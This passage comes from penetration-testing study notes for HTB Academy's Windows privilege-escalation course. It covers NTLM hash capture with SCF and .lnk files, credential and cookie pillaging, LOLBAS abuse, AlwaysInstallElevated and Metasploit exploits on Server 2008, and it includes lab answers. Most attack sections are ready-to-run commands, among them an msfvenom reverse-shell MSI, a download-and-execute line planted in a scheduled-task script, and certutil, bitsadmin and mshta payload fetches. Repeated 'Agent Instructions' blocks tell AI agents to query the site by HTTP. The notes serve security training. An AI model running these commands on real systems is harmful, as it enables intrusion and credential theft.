- BUILTIN\Users group has full write access
- Missing files: docker-credential-wincred.exe, docker-credential-wincred.bat

# Exploitation:
1. Check Docker version: docker --version
2. Verify directory permissions: icacls C:\PROGRAMDATA\DockerDesktop\version-bin\
3. Place malicious executable in directory
4. Wait for Docker restart or 'docker login' command

Service Enumeration Strategy

# Look for vulnerable service versions:
- Docker Desktop < 2.1.0.1
- Other applications with writable directories
- Services running with elevated privileges
- Applications with predictable file searches

📁 SCF File Hash Capture

Shell Command File (SCF) Attack

# SCF file purpose:
- Used by Windows Explorer for navigation
- Can be manipulated to point to UNC paths
- Triggers SMB authentication when folder is accessed

Malicious SCF Creation

# Create @Inventory.scf (@ for top of directory listing):
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop

# File placement strategy:
- Use @ prefix for top positioning
- Name similar to existing files
- Place in heavily accessed shares

Responder Hash Capture

# Start Responder for NTLM capture:
sudo responder -wrf -v -I tun0

# Example captured hash:
[SMB] NTLMv2-SSP Client   : 10.129.43.30
[SMB] NTLMv2-SSP Username : WINLPE-SRV01\Administrator  
[SMB] NTLMv2-SSP Hash     : Administrator::WINLPE-SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010...

# Wait 2-5 minutes for user to browse the share

Hash Cracking

# Crack NTLMv2 hash with Hashcat:
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

# Example result:
ADMINISTRATOR::WINLPE-SRV01:815c504e7b06ebda:...:Welcome1

# Mode 5600 = NetNTLMv2

🔗 Malicious .lnk File Attacks

.lnk vs SCF Compatibility

# SCF limitations:
- No longer works on Server 2019
- Legacy technique for older systems

# .lnk advantages:
- Works on modern Windows versions
- More reliable hash capture
- Flexible targeting options

PowerShell .lnk Generation

# Create malicious .lnk file:
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

.lnk File Properties

# Key properties for stealth:
TargetPath:     \\<attacker_ip>\@<fake_file>
IconLocation:   %windir%\system32\shell32.dll, 3
WindowStyle:    1 (hidden)
Description:    Legitimate-looking description
HotKey:         Optional keyboard shortcut

# Naming strategy:
- Use legitimate-sounding names
- Match existing file naming patterns
- Consider file extensions (.pdf.lnk, .doc.lnk)

🎯 File Share Attack Strategy

Target Selection

# High-value file share targets:
- Network drives (mapped drives)
- Shared project folders
- Document repositories  
- Backup locations
- User desktop/documents folders
- Software deployment shares

File Placement Strategy

# Optimal placement:
1. Recently accessed directories
2. Folders with regular user traffic
3. Shared drives with multiple users
4. Directories with existing files (blend in)
5. Desktop folders of high-privilege users

Naming Conventions

# Effective file names:
@Inventory.scf          # @ for top listing
@Updates.lnk           # System-related names
@Security_Policy.lnk   # Official-sounding documents
@Quarterly_Report.lnk  # Business documents
@IT_Notice.scf         # IT department files

🔧 Alternative Hash Capture Tools

Responder Alternatives

# Inveigh (PowerShell-based):
Import-Module Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBT Y -mDNS Y

# InveighZero (.NET version):
.\InveighZero.exe

# All tools capture NTLM hashes from SMB authentication

Tool Comparison

# Responder:    # Python-based, Linux preferred
# Inveigh:      # PowerShell, Windows native
# InveighZero:  # .NET compiled, Windows portable

🎯 HTB Academy Lab Solution

Lab Environment

# Access: RDP to target with htb-student:HTB_@cademy_stdnt!
# Objective: Obtain cleartext credentials for SCCM_SVC user

SCCM_SVC Credential Extraction

# Method 1: Process monitoring for scheduled tasks
# SCCM often runs scheduled tasks with service accounts

# Method 2: SCF/LNK file placement in SCCM-related shares
# SCCM shares are frequently accessed by administrators

# Method 3: Traffic capture during SCCM operations
# SCCM communications may contain credentials

# Method 4: File share enumeration for SCCM config files
# SCCM configuration files may contain service account info

Practical Approach

# 1. Start process monitoring:
while($true) {
  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 2
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

# 2. Place malicious files in accessible shares:
# Create @SCCM_Update.lnk pointing to attacker SMB

# 3. Start Responder on attack machine:
sudo responder -wrf -v -I tun0

# 4. Wait for SCCM service account authentication

🔄 Advanced User Interaction Techniques

Multi-Vector Approach

# Comprehensive strategy:
1. Network traffic monitoring (passive)
2. Process command line monitoring (active)
3. Malicious file placement (social engineering)
4. Service vulnerability exploitation (technical)
5. Hash capture and cracking (post-exploitation)

Persistence Considerations

# Long-term assessment tactics:
- Plant multiple malicious files across shares
- Monitor for extended periods (days/weeks)
- Target different user groups
- Use various file types (.scf, .lnk, .url)
- Rotate attack infrastructure

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Unusual .scf/.lnk file creation in shares
- SMB authentication to external IPs
- Wireshark/packet capture tool usage
- Process monitoring script execution
- Responder/Inveigh tool signatures
- Abnormal file access patterns

Defensive Measures

# Security recommendations:
- Restrict Npcap driver to Administrators only
- Monitor file share access patterns
- Block SMB to external networks
- Implement file type restrictions on shares
- Regular security awareness training
- Network segmentation
- NTLM authentication monitoring
- Endpoint detection for credential capture tools

💡 Key Takeaways

  1. Users are often the weakest link in security chains
  2. Network traffic monitoring can reveal cleartext credentials
  3. Process command lines frequently contain embedded passwords
  4. SCF files trigger automatic SMB authentication (legacy systems)
  5. Malicious .lnk files work on modern Windows versions
  6. File share placement strategy is critical for success
  7. Hash capture + offline cracking provides reliable credential theft
  8. Multiple attack vectors increase success probability

User interaction attacks exploit human behavior and system trust relationships to capture credentials when technical privilege escalation methods are insufficient.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/interacting-with-users.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Pillaging

🎯 Overview

Pillaging is the systematic process of data extraction from compromised systems to gather credentials, sensitive information, and intelligence for further network access. Focus on installed applications, configuration files, browser data, clipboard content, and backup systems for maximum information yield.

📊 Data Sources for Pillaging

Primary Targets

# High-value data sources:
- Installed applications & services
- File shares & databases  
- Directory services (Active Directory)
- Certificate authorities
- Source code management servers
- Backup & monitoring systems
- Web browsers & IM clients
- History files & documents
- Network infrastructure details

Information Categories

# Types of valuable data:
- Personal information (PII)
- Corporate blueprints & intellectual property
- Credit card & financial data
- Server & infrastructure information
- Network topology & credentials
- Passwords & authentication tokens
- Previous audit reports
- User roles & privileges

💻 Installed Application Enumeration

Directory-Based Discovery

# Quick application enumeration:
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Look for:
- Remote management tools (mRemoteNG, TeamViewer)
- Development tools (Git, IDEs)
- Database clients (SSMS, MySQL Workbench)
- VPN clients (OpenVPN, Cisco AnyConnect)
- Password managers (KeePass, 1Password)

Registry-Based Enumeration

# Comprehensive installed programs list:
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

🔧 mRemoteNG Exploitation

Configuration File Location

# Default mRemoteNG config location:
%USERPROFILE%\APPDATA\Roaming\mRemoteNG\confCons.xml

# Check for mRemoteNG installation:
ls "C:\Program Files\mRemoteNG"
ls C:\Users\*\AppData\Roaming\mRemoteNG

Configuration File Structure

<!-- Example confCons.xml with default master password -->
<?XML version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="QcMB21irFadMtSQvX5ONMEh7X+TSqRX3uXO5DKShwpWEgzQ2YBWgD/uQ86zbtNC65Kbu3LKEdedcgDNO6N41Srqe" ConfVersion="2.6">
    <Node Name="RDP_Domain" Type="Connection" Username="administrator" Domain="test.local" Password="sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig==" Hostname="10.0.0.10" Protocol="RDP" Port="3389" />
</mrng:Connections>

Password Decryption

# Default master password decryption (hardcoded: "mR3m"):
python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig=="

# Result: ASDki230kasd09fk233aDA

# Custom master password decryption:
python3 mremoteng_decrypt.py -s "<encrypted_password>" -p admin

# Brute force master password:
for password in $(cat /usr/share/wordlists/fasttrack.txt); do 
    echo $password
    python3 mremoteng_decrypt.py -s "<encrypted_password>" -p $password 2>/dev/null
done
# Copy Firefox cookies database:
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .

# Extract specific cookies (Linux):
python3 cookieextractor.py --dbpath "/home/user/cookies.sqlite" --host slack --cookie d

# Example Slack cookie:
d=xoxd-CJRafjAvR3UcF%2FXpCDOu6xEUVa3romzdAPiVoaqDHZW5A9oOpiHF0G749yFOSC...
# Chrome cookies are DPAPI encrypted
# Copy cookies to expected SharpChromium location:
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"

# Use Invoke-SharpChromium for decryption:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
Invoke-SharpChromium -Command "cookies slack.com"

# Extract 'd' cookie value from JSON output
# Using Cookie-Editor browser extension:
1. Navigate to target website (slack.com)
2. Open Cookie-Editor extension
3. Modify 'd' cookie with extracted value
4. Save cookie changes
5. Refresh page = authenticated access

# Target applications:
- Slack (cookie: d)
- Microsoft Teams
- Discord
- Other web-based IM clients

📋 Clipboard Monitoring

PowerShell Clipboard Logger

# Monitor clipboard for credentials:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
Invoke-ClipboardLogger

# Example captured data:
https://portal.azure.com
Administrator@something.com
Sup9rC0mpl2xPa$$ws0921lk

Clipboard Target Data

# Common clipboard contents:
- Passwords from password managers
- 2FA tokens & soft tokens
- Database connection strings
- API keys & authentication tokens
- RDP session clipboard data
- Copy-pasted credentials

💾 Backup System Exploitation

Restic Backup System

# Restic backup locations:
C:\Windows\System32\restic.exe    # Common installation
E:\restic\                        # Repository location

# Environment variable check:
echo $env:RESTIC_PASSWORD

# Repository operations:
restic.exe -r E:\restic2 snapshots    # List backups
restic.exe -r E:\restic2 restore <ID> --target C:\Restore

Backup Repository Enumeration

# Initialize repository access:
$env:RESTIC_PASSWORD = 'Password'
restic.exe -r E:\restic2 init

# Create backups with VSS:
restic.exe -r E:\restic2 backup C:\Windows\System32\config --use-fs-snapshot

# Restore specific snapshots:
restic.exe -r E:\restic2 restore 9971e881 --target C:\Restore

Backup Target Analysis

# Windows backup targets:
C:\Windows\System32\config\SAM     # Local account hashes
C:\Windows\System32\config\SYSTEM  # System hive
C:\inetpub\wwwroot\web.config      # IIS application configs
C:\Program Files\*\config\         # Application configurations
C:\Users\*\.ssh\                   # SSH keys
C:\Users\*\Documents\              # User documents

# Linux backup targets:
/etc/shadow                        # User password hashes
/etc/passwd                        # User accounts
/home/*/.ssh/                      # SSH keys
/var/www/html/                     # Web applications
/opt/*/config/                     # Application configs

🎯 HTB Academy Lab Solutions

Lab Environment Access

# Various user credentials:
Peter:Bambi123           # Lab 1-2
Grace:<to_be_found>      # Lab 3  
Jeff:<to_be_found>       # Lab 4-5

Lab 1: Application Identification

# Objective: Identify remote management application
# Method: Application enumeration

# RDP as Peter:Bambi123
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Expected result: mRemoteNG
# Answer: mRemoteNG

Lab 2: mRemoteNG Password Extraction

# Objective: Extract Grace's password from mRemoteNG
# Method: confCons.xml decryption

# Find config file:
ls C:\Users\*\AppData\Roaming\mRemoteNG\confCons.xml

# Extract password hash from XML
# Use mremoteng_decrypt.py:
python3 mremoteng_decrypt.py -s "<Grace_password_hash>"

# Expected result: Grace's cleartext password
# Objective: Extract Slack cookie for slacktestapp.com
# Method: Browser cookie extraction as Grace

# Firefox method:
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
python3 cookieextractor.py --dbpath "cookies.sqlite" --host slacktestapp.com --cookie d

# Chrome method:
Invoke-SharpChromium -Command "cookies slacktestapp.com"

# Use Cookie-Editor to authenticate and get flag

Lab 4: Restic Password Discovery

# Objective: Find restic backup password as Jeff
# Method: Environment variables, config files, credential hunting

# Check environment:
echo $env:RESTIC_PASSWORD

# Search for restic configs:
findstr /SIM /C:"restic" *.txt *.ini *.cfg *.config
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config

# Expected result: Restic repository password

Lab 5: Administrator Hash Extraction

# Objective: Extract Administrator hash from backup
# Method: Restic restore + SAM/SYSTEM extraction

# Restore backup containing SAM/SYSTEM:
$env:RESTIC_PASSWORD = '<discovered_password>'
restic.exe -r <repository_path> snapshots
restic.exe -r <repository_path> restore <snapshot_id> --target C:\Restore

# Navigate to restored Windows config:
cd C:\Restore\C\Windows\System32\config

# Extract hashes (use impacket or similar):
# SAM + SYSTEM files = local account hashes
# Expected result: Administrator NTLM hash

🔄 Comprehensive Pillaging Strategy

Systematic Approach

# 1. Application enumeration
dir "C:\Program Files*"
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*

# 2. Configuration file hunting
findstr /SIM /C:"password" *.xml *.config *.ini *.txt

# 3. Browser data extraction
# Firefox: cookies.sqlite
# Chrome: Invoke-SharpChromium

# 4. Clipboard monitoring
Invoke-ClipboardLogger

# 5. Backup system enumeration
# Look for restic, Veeam, Acronis, etc.

# 6. Remote management tools
# mRemoteNG, TeamViewer, VNC configs

Automation Tools

# Comprehensive extraction tools:
.\LaZagne.exe all              # Multi-application credential extraction
Invoke-SessionGopher           # Remote access tool credentials  
.\SharpChromium.exe cookies    # Browser cookie extraction
Invoke-ClipboardLogger         # Real-time clipboard monitoring

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Browser database file access
- mRemoteNG configuration file access
- Clipboard monitoring script execution
- Backup system enumeration
- Cookie extraction tool usage
- Unusual file system searches
- Registry queries for application data

Defensive Measures

# Security recommendations:
- Encrypt mRemoteNG configurations with strong passwords
- Implement browser security policies
- Monitor backup system access
- Clipboard data protection
- Application configuration file permissions
- Regular security awareness training
- Network segmentation for backup systems

💡 Key Takeaways

  1. Systematic enumeration of installed applications reveals attack vectors
  2. mRemoteNG often stores credentials with weak/default encryption
  3. Browser cookies provide direct access to web applications
  4. Clipboard monitoring captures password manager usage
  5. Backup systems contain copies of sensitive system files
  6. Multiple data sources require comprehensive extraction strategy
  7. Automation tools essential for efficient pillaging operations

Pillaging transforms initial system access into comprehensive intelligence gathering for network expansion and objective completion.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/pillaging.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Miscellaneous Techniques

🎯 Overview

Miscellaneous techniques encompass LOLBAS exploitation, policy misconfigurations, CVE-specific vulnerabilities, scheduled task abuse, and virtual disk mounting for hash extraction. These methods provide alternative privilege escalation vectors when standard techniques fail.

🏠 Living Off The Land Binaries (LOLBAS)

LOLBAS Concept

# LOLBAS characteristics:
- Microsoft-signed binaries/scripts/libraries
- Native to OS or downloadable from Microsoft
- Unexpected functionality useful for attackers
- Bypass security controls via trusted processes

Common LOLBAS Functions

# Attack capabilities:
- Code execution & compilation
- File transfers & encoding
- Persistence mechanisms
- UAC bypass techniques
- Credential theft & dumping
- Process memory dumping
- DLL hijacking & evasion

Certutil File Transfer

# Download files with certutil:
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat

# Base64 encoding:
certutil -encode file1 encodedfile

# Base64 decoding:
certutil -decode encodedfile file2

# Result: File transfer without traditional download tools

Rundll32 DLL Execution

# Execute DLL files:
rundll32.exe user32.dll,LockWorkStation
rundll32.exe shell32.dll,ShellExec_RunDLL cmd.exe

# Remote DLL execution:
rundll32.exe \\<ip>\share\malicious.dll,EntryPoint

🔺 AlwaysInstallElevated Exploitation

Policy Configuration

# Group Policy locations:
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
User Configuration\Administrative Templates\Windows Components\Windows Installer

# Setting: "Always install with elevated privileges" = Enabled

Registry Enumeration

# Check both registry locations:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

# Both should show:
AlwaysInstallElevated    REG_DWORD    0x1

MSI Payload Generation

# Generate malicious MSI with msfvenom:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi

# Payload details:
Platform: Windows x86
Payload size: 324 bytes
Final MSI size: 159744 bytes

MSI Execution

# Execute MSI with elevated privileges:
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart

# Flags:
/quiet    # Suppress user interface
/qn       # No user interaction
/norestart # Prevent automatic restart

# Result: Reverse shell as NT AUTHORITY\SYSTEM

🔓 CVE-2019-1388 (Windows Certificate Dialog)

Vulnerability Details

# Affected components:
- Windows Certificate Dialog UAC mechanism
- Certificate with OID 1.3.6.1.4.1.311.2.1.10 (SpcSpAgencyInfo)
- Vulnerable binary: hhupd.exe (old Microsoft-signed)

# Vulnerability: Hyperlink in certificate opens browser as SYSTEM

Exploitation Steps

# 1. Right-click hhupd.exe > Run as administrator
# 2. Click "Show information about the publisher's certificate"
# 3. Navigate to General tab
# 4. Click hyperlink in "Issued by" field
# 5. Browser opens as NT AUTHORITY\SYSTEM
# 6. Right-click webpage > View page source
# 7. Right-click source > Save as
# 8. Type in Save As dialog: c:\windows\system32\cmd.exe
# 9. Press Enter = CMD as SYSTEM

Vulnerable Versions

# Patched: November 2019
# Check for vulnerable systems:
- Windows Server 2008/2012/2016/2019 (pre-patch)
- Windows 7/8/10 (pre-November 2019)
- Legacy systems without updates

📅 Scheduled Task Enumeration

Basic Task Enumeration

# List scheduled tasks:
schtasks /query /fo LIST /v

# PowerShell enumeration:
Get-ScheduledTask | select TaskName,State

# Filter for interesting tasks:
Get-ScheduledTask | where {$_.TaskName -notlike "*Microsoft*"} | select TaskName,State

Task Permission Analysis

# Check task directory permissions:
.\accesschk64.exe /accepteula -s -d C:\Windows\System32\Tasks

# Look for writable task directories:
C:\Scripts\                    # Custom script directories
C:\Windows\Tasks\              # Legacy task location
C:\ProgramData\*\Tasks\        # Application-specific tasks

Task Script Modification

# Check script permissions in task directories:
.\accesschk64.exe /accepteula -s -d C:\Scripts\

# Example output:
C:\Scripts
  RW BUILTIN\Users           # Writable by standard users!
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators

# Modify existing scripts:
echo "powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/shell.ps1')" >> C:\Scripts\backup.ps1

💿 Virtual Disk Mounting & Hash Extraction

Virtual Disk File Types

# Target file extensions:
.vhd     # Virtual Hard Disk (Hyper-V)
.vhdx    # Virtual Hard Disk v2 (Hyper-V)  
.vmdk    # Virtual Machine Disk (VMware)

# Common locations:
- Network backup shares
- Virtualization host storage
- Development environments
- System backup locations

Linux Mounting

# Mount VMDK files:
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk

# Mount VHD/VHDX files:
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1

# Browse mounted filesystem:
ls /mnt/vmdk/Windows/System32/config/

Windows Mounting

# Right-click method:
1. Right-click .vhd/.vhdx file
2. Select "Mount"
3. Access as lettered drive

# PowerShell method:
Mount-VHD -Path "C:\backup\server.vhdx"

# Disk Management method:
1. Open Disk Management
2. Action > Attach VHD
3. Browse to file location

Hash Extraction from Virtual Disks

# Extract registry hives from mounted disk:
cp /mnt/vmdk/Windows/System32/config/SAM .
cp /mnt/vmdk/Windows/System32/config/SECURITY .
cp /mnt/vmdk/Windows/System32/config/SYSTEM .

# Extract password hashes:
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

# Example output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

👤 User/Computer Description Field

Local User Description Enumeration

# Check user descriptions for passwords:
Get-LocalUser

# Example output with password in description:
Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
secsvc          True    Network scanner - do not change password
helpdesk        True    Password: Help123!

Computer Description Field

# Check computer description:
Get-WmiObject -Class Win32_OperatingSystem | select Description

# Example output:
Description
-----------
The most vulnerable box ever!

Active Directory Description Fields

# Domain user descriptions (if domain-joined):
net user <username> /domain
Get-ADUser -Identity <username> -Properties Description

🎯 HTB Academy Lab Solution

Lab Environment

# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Objective: Find cleartext password for account on target host

Multi-Method Approach

# Method 1: User description field enumeration
Get-LocalUser

# Method 2: AlwaysInstallElevated check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Method 3: Scheduled task script enumeration
Get-ScheduledTask | select TaskName,State
.\accesschk64.exe /accepteula -s -d C:\Scripts\

# Method 4: Virtual disk file search
dir /s *.vhd *.vhdx *.vmdk

# Expected result: Password found in user description or script files

🔄 Advanced Miscellaneous Techniques

File System Analysis Tools

# Snaffler for comprehensive file enumeration:
.\Snaffler.exe -s -o snaffler.log

# Target file types:
- Files with "pass" in filename
- KeePass database files (.kdbx)
- SSH keys (id_rsa, *.pem)
- Web.config files
- Virtual disk files (.vhd, .vhdx, .vmdk)

LOLBAS Exploitation Examples

# Bitsadmin file transfer:
bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.14.3/shell.exe C:\temp\shell.exe

# Forfiles command execution:
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

# Mshta code execution:
mshta http://10.10.14.3/malicious.hta

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- LOLBAS binary usage outside normal context
- MSI installations by standard users
- Certificate dialog browser spawning
- Virtual disk mounting activities
- Scheduled task script modifications
- Unusual certutil/bitsadmin usage

Defensive Measures

# Security recommendations:
- Disable AlwaysInstallElevated policy
- Patch CVE-2019-1388 and similar vulnerabilities
- Monitor LOLBAS binary execution
- Secure scheduled task script permissions
- Restrict virtual disk file access
- Implement application allowlisting
- Regular privilege escalation assessments

💡 Key Takeaways

  1. LOLBAS binaries provide trusted execution paths for malicious activities
  2. AlwaysInstallElevated enables reliable privilege escalation via MSI
  3. CVE-2019-1388 demonstrates certificate dialog UAC bypass
  4. Scheduled tasks with weak permissions offer persistence opportunities
  5. Virtual disk files contain complete filesystem copies for offline analysis
  6. User descriptions sometimes contain cleartext passwords
  7. Multiple vectors increase success probability in hardened environments

Miscellaneous techniques exploit Windows features, policies, and file systems that may be overlooked during standard privilege escalation enumeration.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/miscellaneous-techniques.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Windows Server 2008

🎯 Overview

Windows Server 2008/2008 R2 reached end-of-life January 14, 2020 and lacks modern security features. Legacy systems are commonly found in medical settings, universities, and government offices running mission-critical applications. These systems present significant privilege escalation opportunities through missing patches and kernel exploits.

📊 Security Feature Comparison

Server Version Security Matrix

Feature                              | 2008 R2 | 2012 R2 | 2016 | 2019
-------------------------------------|---------|---------|------|------
Enhanced Windows Defender ATP        |    ❌   |    ❌   |  ✅  |  ✅
Just Enough Administration           | Partial | Partial |  ✅  |  ✅  
Credential Guard                      |    ❌   |    ❌   |  ✅  |  ✅
Remote Credential Guard               |    ❌   |    ❌   |  ✅  |  ✅
Device Guard (code integrity)        |    ❌   |    ❌   |  ✅  |  ✅
AppLocker                             | Partial |    ✅   |  ✅  |  ✅
Windows Defender                      | Partial | Partial |  ✅  |  ✅
Control Flow Guard                    |    ❌   |    ❌   |  ✅  |  ✅

# Result: Server 2008 lacks most modern security protections

🔍 Patch Level Enumeration

WMI Hotfix Query

# Check installed patches:
wmic qfe

# Example output (severely outdated):
Caption                                     HotFixID   InstallDate  InstalledBy
http://support.microsoft.com/?kbid=2533552  KB2533552  3/31/2021    WINLPE-2K8\Administrator

# Analysis: Only one patch since 2021 = highly vulnerable

System Information Gathering

# Comprehensive system details:
systeminfo

# Key information:
- OS Version: Windows Server 2008 R2
- Install Date: Check age of system
- Hotfixes: List of installed patches
- Network Configuration: Domain membership

🔧 Sherlock Vulnerability Assessment

Sherlock Script Usage

# Set execution policy:
Set-ExecutionPolicy bypass -Scope process

# Import and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulns

Common Server 2008 Vulnerabilities

# Typical Sherlock findings:
MS10-092 (CVE-2010-3338)  # Task Scheduler XML - Appears Vulnerable
MS15-051 (CVE-2015-1701)  # ClientCopyImage Win32k - Appears Vulnerable  
MS16-032 (CVE-2016-0099)  # Secondary Logon Handle - Appears Vulnerable

# 64-bit limitations:
MS10-015 (KiTrap0D)       # Not supported on 64-bit systems
MS13-053 (Win32k Pool)    # Not supported on 64-bit systems
MS16-016 (WebDAV)         # Not supported on 64-bit systems

🚀 Metasploit Privilege Escalation

SMB Delivery Module Setup

# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery

# Configure options:
set LHOST <attacker_ip>
set SRVHOST <attacker_ip>
set target 0                    # DLL target
exploit

# Result: Rundll32 command for target execution
rundll32.exe \\<attacker_ip>\<share>\test.dll,0

Initial Shell Acquisition

# Execute on target (Command Prompt):
rundll32.exe \\10.10.14.3\lEUZam\test.dll,0

# Result: Meterpreter session as current user
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609)

Process Migration for 64-bit

# Check current process:
meterpreter > getpid
Current pid: 2268

# List processes:
meterpreter > ps

# Migrate to 64-bit process:
meterpreter > migrate 2796    # Choose x64 process
[*] Migration completed successfully.

# Background session:
meterpreter > background

MS10-092 Privilege Escalation

# Use Task Scheduler exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <attacker_ip>
set LPORT 4443
exploit

# Exploit process:
[*] Creating task: isqR4gw3RlxnplB
[*] Reading task file contents...
[*] Writing modified content back...
[*] Executing the task...
[*] Deleting the task...

# Result: NT AUTHORITY\SYSTEM shell

🎯 HTB Academy Lab Walkthrough

Lab Environment

# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Target: Windows Server 2008 R2
# Objective: Get Administrator flag.txt

Step-by-Step Solution

1. Initial Access

# Connect via RDP:
rdesktop -u htb-student -p 'HTB_@cademy_stdnt!' <target_ip>
# Alternative if xfreerdp fails:
# rdesktop -u htb-student -p HTB_@cademy_stdnt! <target_ip>

2. Patch Level Enumeration

# Open Command Prompt and check patches:
wmic qfe

# Expected result: Very few patches, severely outdated system
Caption                                     HotFixID   InstallDate
http://support.microsoft.com/?kbid=2533552  KB2533552  3/31/2021

3. Vulnerability Assessment

# Set PowerShell execution policy:
Set-ExecutionPolicy bypass -Scope process
# Choose: Y (Yes)

# Navigate to tools and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulns

# Key findings:
MS10-092 - Task Scheduler .XML - Appears Vulnerable
MS15-051 - ClientCopyImage Win32k - Appears Vulnerable
MS16-032 - Secondary Logon Handle - Appears Vulnerable

4. Metasploit Setup (Attack Machine)

# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery

# Configure module:
set LHOST <your_vpn_ip>
set SRVHOST <your_vpn_ip>
exploit

